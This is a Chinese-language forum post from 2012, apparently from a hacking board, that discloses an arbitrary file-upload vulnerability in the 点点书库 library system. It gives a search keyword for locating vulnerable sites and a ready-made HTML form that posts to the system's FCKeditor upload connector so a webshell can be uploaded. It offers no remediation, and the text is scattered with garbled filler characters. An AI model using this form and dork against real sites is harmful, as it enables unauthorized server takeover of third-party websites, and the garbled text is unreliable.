主题:图书馆系统任意文件上传漏洞
Q) B: \; T: C7 R1 L1 k4 I) ^ 作者:冰锋刺客
% r' }- H( C) h 厂商:点击书(dianjishu.com)' k/ ^8 c0 r. s9 k% u8 O
日期:2012-6-21
4 q9 z D2 ^. X! D
8 G) U$ U1 k# n& P" v1 TI 概述0 r) L6 H# I. q9 q. H$ c6 i
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell' J' b% ~+ v1 A7 | ] g. W1 e& a
II 简介) t R- m: L$ t- w' V
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"
# x: k8 g' Q1 C& ^ 补充一个漏洞
. {& d7 M7 N: B6 Q, n <form id="frmUpload" enctype="multipart/form-data"
/ i# q, E. L2 l6 `* E: i action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>5 S/ z* y, K' P! ]
<input id="btnUpload" type="submit" value="操翻他">- f! L2 \9 x7 q
</form>
% K* ^. a% }, _, ~; A7 } 你们懂的
% p8 j6 X* l, P' a! j% V% l 那傻逼提供还需要改包.
$ n" Q+ L+ d( o' d# N: X/ F 自己看了下源代码发现fckeditor5 h( S2 \ l: u( v/ b( P0 u3 P
直接秒杀
4 U" d' J( n1 b% q; X2 _( l) [6 [ |
发表于 2012-9-10 21:20:59
收藏
支持
反对